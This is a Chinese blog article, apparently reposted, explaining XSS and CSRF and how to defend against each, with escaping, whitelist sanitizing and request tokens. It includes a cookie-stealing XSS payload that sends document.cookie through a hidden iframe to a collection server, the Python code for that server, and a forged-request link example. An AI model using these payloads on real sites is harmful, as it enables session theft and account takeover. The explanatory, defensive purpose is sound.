成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專(zhuān)欄INFORMATION COLUMN

總結(jié) XSS 與 CSRF 兩種跨站攻擊

jcc / 1692人閱讀

摘要:但最近又聽(tīng)說(shuō)了另一種跨站攻擊,于是找了些資料了解了一下,并與放在一起做個(gè)比較。腳本中的不速之客全稱(chēng)跨站腳本,是注入攻擊的一種。

XSS:跨站腳本(Cross-site scripting)

CSRF:跨站請(qǐng)求偽造(Cross-site request forgery)

在那個(gè)年代,大家一般用拼接字符串的方式來(lái)構(gòu)造動(dòng)態(tài) SQL 語(yǔ)句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式。在這個(gè)年代, 參數(shù)化查詢(xún) 已經(jīng)成了普遍用法,我們已經(jīng)離 SQL 注入很遠(yuǎn)了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒(méi)有遠(yuǎn)離我們。由于之前已經(jīng)對(duì) XSS 很熟悉了,所以我對(duì)用戶(hù)輸入的數(shù)據(jù)一直非常小心。如果輸入的時(shí)候沒(méi)有經(jīng)過(guò) Tidy 之類(lèi)的過(guò)濾,我一定會(huì)在模板輸出時(shí)候全部轉(zhuǎn)義。所以個(gè)人感覺(jué),要避免 XSS 也是很容易的,重點(diǎn)是要“小心”。但最近又聽(tīng)說(shuō)了另一種跨站攻擊 CSRF ,于是找了些資料了解了一下,并與 XSS 放在一起做個(gè)比較。
XSS:腳本中的不速之客

XSS 全稱(chēng)“跨站腳本”,是注入攻擊的一種。其特點(diǎn)是不對(duì)服務(wù)器端造成任何傷害,而是通過(guò)一些正常的站內(nèi)交互途徑,例如發(fā)布評(píng)論,提交含有 JavaScript 的內(nèi)容文本。這時(shí)服務(wù)器端如果沒(méi)有過(guò)濾或轉(zhuǎn)義掉這些腳本,作為內(nèi)容發(fā)布到了頁(yè)面上,其他用戶(hù)訪問(wèn)這個(gè)頁(yè)面的時(shí)候就會(huì)運(yùn)行這些腳本。

運(yùn)行預(yù)期之外的腳本帶來(lái)的后果有很多中,可能只是簡(jiǎn)單的惡作劇——一個(gè)關(guān)不掉的窗口:

while (true) {
    alert("你關(guān)不掉我~");
}

也可以是盜號(hào)或者其他未授權(quán)的操作——我們來(lái)模擬一下這個(gè)過(guò)程,先建立一個(gè)用來(lái)收集信息的服務(wù)器:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

"""
跨站腳本注入的信息收集服務(wù)器
"""

import bottle

app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile="/var/db/myxss.sqlite")
app.install(plugin)

@app.route("/myxss/")
def show(cookies, db):
    SQL = "INSERT INTO "myxss" ("cookies") VALUES (?)"
    try:
        db.execute(SQL, cookies)
    except:
        pass
    return ""

if __name__ == "__main__":
    app.run()

然后在某一個(gè)頁(yè)面的評(píng)論中注入這段代碼:

// 用  包起來(lái)放在評(píng)論中

(function(window, document) {
    // 構(gòu)造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隱藏 iframe 用于通訊
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 開(kāi)工
    document.body.appendChild(hideFrame);
})(window, document);

于是每個(gè)訪問(wèn)到含有該評(píng)論的頁(yè)面的用戶(hù)都會(huì)遇到麻煩——他們不知道背后正悄悄的發(fā)起了一個(gè)請(qǐng)求,是他們所看不到的。而這個(gè)請(qǐng)求,會(huì)把包含了他們的帳號(hào)和其他隱私的信息發(fā)送到收集服務(wù)器上。

我們知道 AJAX 技術(shù)所使用的 XMLHttpRequest 對(duì)象都被瀏覽器做了限制,只能訪問(wèn)當(dāng)前域名下的 URL,所謂不能“跨域”問(wèn)題。這種做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達(dá)到相同的目的。甚至在愿意的情況下,我還能用 iframe 發(fā)起 POST 請(qǐng)求。當(dāng)然,現(xiàn)在一些瀏覽器能夠很智能地分析出部分 XSS 并予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個(gè)世界上還有大量根本不知道什么是瀏覽器的用戶(hù)在用著可怕的 IE6。從原則上將,我們也不應(yīng)該把事關(guān)安全性的責(zé)任推脫給瀏覽器,所以防止 XSS 的根本之道還是過(guò)濾用戶(hù)輸入。用戶(hù)輸入總是不可信任的,這點(diǎn)對(duì)于 Web 開(kāi)發(fā)者應(yīng)該是常識(shí)。

正如上文所說(shuō),如果我們不需要用戶(hù)輸入 HTML 而只想讓他們輸入純文本,那么把所有用戶(hù)輸入進(jìn)行 HTML 轉(zhuǎn)義輸出是個(gè)不錯(cuò)的做法。似乎很多 Web 開(kāi)發(fā)框架、模版引擎的開(kāi)發(fā)者也發(fā)現(xiàn)了這一點(diǎn),Django 內(nèi)置模版和 Jinja2 模版總是默認(rèn)轉(zhuǎn)義輸出變量的。如果沒(méi)有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數(shù),Python 可以導(dǎo)入 cgi 模塊用其中的 cgi.escape 函數(shù)。如果使用了某款模版引擎,那么其必自帶了方便快捷的轉(zhuǎn)義方式。

真正麻煩的是,在一些場(chǎng)合我們要允許用戶(hù)輸入 HTML,又要過(guò)濾其中的腳本。Tidy 等 HTML 清理庫(kù)可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標(biāo)簽是沒(méi)有用的,任何一個(gè)合法 HTML 標(biāo)簽都可以添加 onclick 一類(lèi)的事件屬性來(lái)執(zhí)行 JavaScript。對(duì)于復(fù)雜的情況,我個(gè)人更傾向于使用簡(jiǎn)單的方法處理,簡(jiǎn)單的方法就是白名單重新整理。用戶(hù)輸入的 HTML 可能擁有很復(fù)雜的結(jié)構(gòu),但我們并不將這些數(shù)據(jù)直接存入數(shù)據(jù)庫(kù),而是使用 HTML 解析庫(kù)遍歷節(jié)點(diǎn),獲取其中數(shù)據(jù)(之所以不使用 XML 解析庫(kù)是因?yàn)?HTML 要求有較強(qiáng)的容錯(cuò)性)。然后根據(jù)用戶(hù)原有的標(biāo)簽屬性,重新構(gòu)建 HTML 元素樹(shù)。構(gòu)建的過(guò)程中,所有的標(biāo)簽、屬性都只從白名單中拿取。這樣可以確保萬(wàn)無(wú)一失——如果用戶(hù)的某種復(fù)雜輸入不能為解析器所識(shí)別(前面說(shuō)了 HTML 不同于 XML,要求有很強(qiáng)的容錯(cuò)性),那么它不會(huì)成為漏網(wǎng)之魚(yú),因?yàn)榘酌麊沃匦抡淼牟呗詴?huì)直接丟棄掉這些未能識(shí)別的部分。最后獲得的新 HTML 元素樹(shù),我們可以拍胸脯保證——所有的標(biāo)簽、屬性都來(lái)自白名單,一定不會(huì)遺漏。

現(xiàn)在看來(lái),大多數(shù) Web 開(kāi)發(fā)者都了解 XSS 并知道如何防范,往往大型的 XSS 攻擊(包括前段時(shí)間新浪微博的 XSS 注入)都是由于疏漏。我個(gè)人建議在使用模版引擎的 Web 項(xiàng)目中,開(kāi)啟(或不要關(guān)閉)類(lèi)似 Django Template、Jinja2 中“默認(rèn)轉(zhuǎn)義”(Auto Escape)的功能。在不需要轉(zhuǎn)義的場(chǎng)合,我們可以用類(lèi)似 {{ myvar | raw }} 的方式取消轉(zhuǎn)義。這種白名單式的做法,有助于降低我們由于疏漏留下 XSS 漏洞的風(fēng)險(xiǎn)。

另外一個(gè)風(fēng)險(xiǎn)集中區(qū)域,是富 AJAX 類(lèi)應(yīng)用(例如豆瓣網(wǎng)的阿爾法城)。這類(lèi)應(yīng)用的風(fēng)險(xiǎn)并不集中在 HTTP 的靜態(tài)響應(yīng)內(nèi)容,所以不是開(kāi)啟模版自動(dòng)轉(zhuǎn)義能就能一勞永逸的。再加上這類(lèi)應(yīng)用往往需要跨域,開(kāi)發(fā)者不得不自己打開(kāi)危險(xiǎn)的大門(mén)。這種情況下,站點(diǎn)的安全非常依賴(lài)開(kāi)發(fā)者的細(xì)心和應(yīng)用上線(xiàn)前有效的測(cè)試?,F(xiàn)在亦有不少開(kāi)源的 XSS 漏洞測(cè)試軟件包(似乎有篇文章提到豆瓣網(wǎng)的開(kāi)發(fā)也使用自動(dòng)化 XSS 測(cè)試),但我都沒(méi)試用過(guò),故不予評(píng)價(jià)。不管怎么說(shuō),我認(rèn)為從用戶(hù)輸入的地方把好關(guān)總是成本最低而又最有效的做法。

更新(2014-10-04)

這里附上一些“白名單”消毒 HTML 標(biāo)簽和屬性(Sanitize HTML)的開(kāi)源解決方案:

Python: lxml.html.clean / bleach
Ruby: Sanitize
JavaScript: sanitize-html
PHP: htmlpurifier

CSRF:冒充用戶(hù)之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么區(qū)別,后來(lái)才明白 CSRF 和 XSS 根本是兩個(gè)不同維度上的分類(lèi)。XSS 是實(shí)現(xiàn) CSRF 的諸多途徑中的一條,但絕對(duì)不是唯一的一條。一般習(xí)慣上把通過(guò) XSS 來(lái)實(shí)現(xiàn)的 CSRF 稱(chēng)為 XSRF。

CSRF 的全稱(chēng)是“跨站請(qǐng)求偽造”,而 XSS 的全稱(chēng)是“跨站腳本”??雌饋?lái)有點(diǎn)相似,它們都是屬于跨站攻擊——不攻擊服務(wù)器端而攻擊正常訪問(wèn)網(wǎng)站的用戶(hù),但前面說(shuō)了,它們的攻擊類(lèi)型是不同維度上的分類(lèi)。CSRF 顧名思義,是偽造請(qǐng)求,冒充用戶(hù)在站內(nèi)的正常操作。我們知道,絕大多數(shù)網(wǎng)站是通過(guò) cookie 等方式辨識(shí)用戶(hù)身份(包括使用服務(wù)器端 Session 的網(wǎng)站,因?yàn)?Session ID 也是大多保存在 cookie 里面的),再予以授權(quán)的。所以要偽造用戶(hù)的正常操作,最好的方法是通過(guò) XSS 或鏈接欺騙等途徑,讓用戶(hù)在本機(jī)(即擁有身份 cookie 的瀏覽器端)發(fā)起用戶(hù)所不知道的請(qǐng)求。

嚴(yán)格意義上來(lái)說(shuō),CSRF 不能分類(lèi)為注入攻擊,因?yàn)?CSRF 的實(shí)現(xiàn)途徑遠(yuǎn)遠(yuǎn)不止 XSS 注入這一條。通過(guò) XSS 來(lái)實(shí)現(xiàn) CSRF 易如反掌,但對(duì)于設(shè)計(jì)不佳的網(wǎng)站,一條正常的鏈接都能造成 CSRF。

例如,一論壇網(wǎng)站的發(fā)貼是通過(guò) GET 請(qǐng)求訪問(wèn),點(diǎn)擊發(fā)貼之后 JS 把發(fā)貼內(nèi)容拼接成目標(biāo) URL 并訪問(wèn): http://example.com/bbs/create_post.php?title=標(biāo)題&content=內(nèi)容 那么,我只需要在論壇中發(fā)一帖,包含一鏈接: http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈 只要有用戶(hù)點(diǎn)擊了這個(gè)鏈接,那么他們的帳戶(hù)就會(huì)在不知情的情況下發(fā)布了這一帖子??赡苓@只是個(gè)惡作劇,但是既然發(fā)貼的請(qǐng)求可以偽造,那么刪帖、轉(zhuǎn)帳、改密碼、發(fā)郵件全都可以偽造。

首先可以提高的一個(gè)門(mén)檻,就是改良站內(nèi) API 的設(shè)計(jì)。對(duì)于發(fā)布帖子這一類(lèi)創(chuàng)建資源的操作,應(yīng)該只接受 POST 請(qǐng)求,而 GET 請(qǐng)求應(yīng)該只瀏覽而不改變服務(wù)器端資源。當(dāng)然,最理想的做法是使用REST 風(fēng)格 [2] 的 API 設(shè)計(jì),GET、POST、PUT、DELETE 四種請(qǐng)求方法對(duì)應(yīng)資源的讀取、創(chuàng)建、修改、刪除?,F(xiàn)在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請(qǐng)求方法,我們可以使用 ajax 提交請(qǐng)求(例如通過(guò) jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請(qǐng)求方法,然后用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來(lái),不同的資源操作區(qū)分的非常清楚,我們把問(wèn)題域縮小到了非 GET 類(lèi)型的請(qǐng)求上——攻擊者已經(jīng)不可能通過(guò)發(fā)布鏈接來(lái)偽造請(qǐng)求了,但他們?nèi)钥梢园l(fā)布表單,或者在其他站點(diǎn)上使用我們?nèi)庋鄄豢梢?jiàn)的表單,在后臺(tái)用 js 操作,偽造請(qǐng)求。

接下來(lái)我們就可以用比較簡(jiǎn)單也比較有效的方法來(lái)防御 CSRF,這個(gè)方法就是“請(qǐng)求令牌”。讀過(guò)《J2EE 核心模式》的同學(xué)應(yīng)該對(duì)“同步令牌”應(yīng)該不會(huì)陌生,“請(qǐng)求令牌”和“同步令牌”原理是一樣的,只不過(guò)目的不同,后者是為了解決 POST 請(qǐng)求重復(fù)提交問(wèn)題,前者是為了保證收到的請(qǐng)求一定來(lái)自預(yù)期的頁(yè)面。實(shí)現(xiàn)方法非常簡(jiǎn)單,首先服務(wù)器端要以某種策略生成隨機(jī)字符串,作為令牌(token),保存在 Session 里。然后在發(fā)出請(qǐng)求的頁(yè)面,把該令牌以隱藏域一類(lèi)的形式,與其他信息一并發(fā)出。在接收請(qǐng)求的頁(yè)面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時(shí)候才處理請(qǐng)求,否則返回 HTTP 403 拒絕請(qǐng)求或者要求用戶(hù)重新登錄驗(yàn)證身份。

請(qǐng)求令牌雖然使用起來(lái)簡(jiǎn)單,但并非不可破解,使用不當(dāng)會(huì)增加安全隱患。使用請(qǐng)求令牌來(lái)防止 CSRF 有以下幾點(diǎn)要注意:

雖然請(qǐng)求令牌原理和驗(yàn)證碼有相似之處,但不應(yīng)該像驗(yàn)證碼一樣,全局使用一個(gè) Session Key。因?yàn)檎?qǐng)求令牌的方法在理論上是可破解的,破解方式是解析來(lái)源頁(yè)面的文本,獲取令牌內(nèi)容。如果全局使用一個(gè) SessionKey,那么危險(xiǎn)系數(shù)會(huì)上升。原則上來(lái)說(shuō),每個(gè)頁(yè)面的請(qǐng)求令牌都應(yīng)該放在獨(dú)立的 Session Key中。我們?cè)谠O(shè)計(jì)服務(wù)器端的時(shí)候,可以稍加封裝,編寫(xiě)一個(gè)令牌工具包,將頁(yè)面的標(biāo)識(shí)作為 Session 中保存令牌的鍵。

在 ajax 技術(shù)應(yīng)用較多的場(chǎng)合,因?yàn)楹苡姓?qǐng)求是 JavaScript 發(fā)起的,使用靜態(tài)的模版輸出令牌值或多或少有些不方便。但無(wú)論如何,請(qǐng)不要提供直接獲取令牌值的API。這么做無(wú)疑是鎖上了大門(mén),卻又把鑰匙放在門(mén)口,讓我們的請(qǐng)求令牌退化為同步令牌。

第一點(diǎn)說(shuō)了請(qǐng)求令牌理論上是可破解的,所以非常重要的場(chǎng)合,應(yīng)該考慮使用驗(yàn)證碼(令牌的一種升級(jí),目前來(lái)看破解難度極大),或者要求用戶(hù)再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶(hù)體驗(yàn)都不好,所以需要產(chǎn)品開(kāi)發(fā)者權(quán)衡。

無(wú)論是普通的請(qǐng)求令牌還是驗(yàn)證碼,服務(wù)器端驗(yàn)證過(guò)一定記得銷(xiāo)毀。忘記銷(xiāo)毀用過(guò)的令牌是個(gè)很低級(jí)但是殺傷力很大的錯(cuò)誤。我們學(xué)校的選課系統(tǒng)就有這個(gè)問(wèn)題,驗(yàn)證碼用完并未銷(xiāo)毀,故只要獲取一次驗(yàn)證碼圖片,其中的驗(yàn)證碼可以在多次請(qǐng)求中使用(只要不再次刷新驗(yàn)證碼圖片),一直用到Session 超時(shí)。這也是為何選課系統(tǒng)加了驗(yàn)證碼,外掛軟件升級(jí)一次之后仍然暢通無(wú)阻。

如下也列出一些據(jù)說(shuō)能有效防范 CSRF,其實(shí)效果甚微的方式甚至無(wú)效的做法。

通過(guò) referer 判定來(lái)源頁(yè)面:referer 是在 HTTP Request Head里面的,也就是由請(qǐng)求的發(fā)送者決定的。如果我喜歡,可以給 referer任何值。當(dāng)然這個(gè)做法并不是毫無(wú)作用,起碼可以防小白。但我覺(jué)得性?xún)r(jià)比不如令牌。

過(guò)濾所有用戶(hù)發(fā)布的鏈接:這個(gè)是最無(wú)效的做法,因?yàn)槭紫裙粽卟灰欢ㄒ獜恼緝?nèi)發(fā)起請(qǐng)求(上面提到過(guò)了),而且就算從站內(nèi)發(fā)起請(qǐng)求,途徑也遠(yuǎn)遠(yuǎn)不止鏈接一條。比如就是個(gè)不錯(cuò)的選擇,還不需要用戶(hù)去點(diǎn)擊,只要用戶(hù)的瀏覽器會(huì)自動(dòng)加載圖片,就會(huì)自動(dòng)發(fā)起請(qǐng)求。在請(qǐng)求發(fā)起頁(yè)面用 alert 彈窗提醒用戶(hù):這個(gè)方法看上去能干擾站外通過(guò) iframe 發(fā)起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者干脆脫離 iframe,使用 Flash 來(lái)達(dá)到目的。

總體來(lái)說(shuō),目前防御 CSRF 的諸多方法還沒(méi)幾個(gè)能徹底無(wú)解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會(huì)含有“無(wú)恥”二字來(lái)形容(另一位有該名號(hào)的貌似是 DDOS 攻擊)。作為開(kāi)發(fā)者,我們能做的就是盡量提高破解難度。當(dāng)破解難度達(dá)到一定程度,網(wǎng)站就逼近于絕對(duì)安全的位置了(雖然不能到達(dá))。上述請(qǐng)求令牌方法,就我認(rèn)為是最有可擴(kuò)展性的,因?yàn)槠湓砗?CSRF 原理是相克的。CSRF 難以防御之處就在于對(duì)服務(wù)器端來(lái)說(shuō),偽造的請(qǐng)求和正常的請(qǐng)求本質(zhì)上是一致的。而請(qǐng)求令牌的方法,則是揪出這種請(qǐng)求上的唯一區(qū)別——來(lái)源頁(yè)面不同。我們還可以做進(jìn)一步的工作,例如讓頁(yè)面中 token 的 key 動(dòng)態(tài)化,進(jìn)一步提高攻擊者的門(mén)檻。本文只是我個(gè)人認(rèn)識(shí)的一個(gè)總結(jié),便不討論過(guò)深了。

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/78945.html

相關(guān)文章

  • XSSCSRF 兩種跨站攻擊

    摘要:請(qǐng)求偽造在跨站攻擊中,攻擊者需要獲得受害者的會(huì)話(huà)令牌,請(qǐng)求偽造也與會(huì)話(huà)劫持相關(guān),但是攻擊者不需要知道受害者的會(huì)話(huà)令牌,就能夠行駛受害者的權(quán)利。 差不多剛開(kāi)始接觸前端的時(shí)候,經(jīng)常能看到一些早幾年入行大牛們的簡(jiǎn)歷,幾乎所有人都會(huì)在簡(jiǎn)歷中帶上這么一句話(huà):具備基本的 Web 安全知識(shí)(XSS / CSRF)。顯然這已經(jīng)成為前端人員的必備知識(shí)。 showImg(https://segmentfa...

    GHOST_349178 評(píng)論0 收藏0
  • 用大白話(huà)談?wù)?em>XSSCSRF

    摘要:它允許惡意用戶(hù)將代碼注入到網(wǎng)頁(yè)上,其他用戶(hù)在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了以及用戶(hù)端腳本語(yǔ)言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶(hù)發(fā)起的請(qǐng)求,都可成為攻擊。 這兩個(gè)關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個(gè)關(guān)鍵詞時(shí)常被拉出來(lái)一起比較(尤其是面試),我在這里也在寫(xiě)一篇掃盲文,也幫自己整理一下知識(shí)脈絡(luò)。 這篇文章會(huì)用盡量人話(huà)的語(yǔ)言解...

    Yumenokanata 評(píng)論0 收藏0
  • 用大白話(huà)談?wù)?em>XSSCSRF

    摘要:它允許惡意用戶(hù)將代碼注入到網(wǎng)頁(yè)上,其他用戶(hù)在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了以及用戶(hù)端腳本語(yǔ)言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶(hù)發(fā)起的請(qǐng)求,都可成為攻擊。 這兩個(gè)關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個(gè)關(guān)鍵詞時(shí)常被拉出來(lái)一起比較(尤其是面試),我在這里也在寫(xiě)一篇掃盲文,也幫自己整理一下知識(shí)脈絡(luò)。 這篇文章會(huì)用盡量人話(huà)的語(yǔ)言解...

    wawor4827 評(píng)論0 收藏0
  • 前端安全知識(shí)

    摘要:跨站腳本攻擊可能造成以下影響利用虛假輸入表單騙取用戶(hù)個(gè)人信息。不僅僅是前端負(fù)責(zé),后端也要做相同的過(guò)濾檢查。張三登錄了銀行的網(wǎng)站沒(méi)有退出,訪問(wèn)了黑客王五的網(wǎng)站,上述的就會(huì)向銀行發(fā)起請(qǐng)求。 原文連接 https://jkchao.cn/article/59d... XSS xss: 跨站腳本攻擊(Cross Site Scripting)是最常見(jiàn)和基本的攻擊 WEB 網(wǎng)站方法,攻擊者通過(guò)...

    Fundebug 評(píng)論0 收藏0
  • 《網(wǎng)絡(luò)黑白》一書(shū)所抄襲的文章列表

    摘要:網(wǎng)絡(luò)黑白一書(shū)所抄襲的文章列表這本書(shū)實(shí)在是垃圾,一是因?yàn)樗幕ヂ?lián)網(wǎng)上的文章拼湊而成的,二是因?yàn)槠礈愃教?,連表述都一模一樣,還抄得前言不搭后語(yǔ),三是因?yàn)閮?nèi)容全都是大量的科普,不涉及技術(shù)也沒(méi)有干貨。 《網(wǎng)絡(luò)黑白》一書(shū)所抄襲的文章列表 這本書(shū)實(shí)在是垃圾,一是因?yàn)樗幕ヂ?lián)網(wǎng)上的文章拼湊而成的,二是因?yàn)槠礈愃教?,連表述都一模一樣,還抄得前言不搭后語(yǔ),三是因?yàn)閮?nèi)容全都是大量的科普,不涉及技術(shù)...

    zlyBear 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<